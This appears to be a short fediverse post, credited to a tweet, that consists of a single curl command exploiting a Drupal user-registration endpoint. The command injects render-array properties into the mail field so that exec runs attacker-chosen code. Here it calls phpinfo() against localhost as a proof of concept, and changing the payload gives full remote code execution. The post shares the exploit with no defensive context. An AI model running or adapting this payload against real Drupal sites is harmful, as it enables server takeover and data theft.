Gorilla Moe is a user on jambo.social. You can follow them or interact with them if you have an account anywhere in the fediverse.
curl -X POST --data \
'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=phpinfo()' \
'https://localhost/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
Source: https://twitter.com/i_bo0om/status/984674893768921089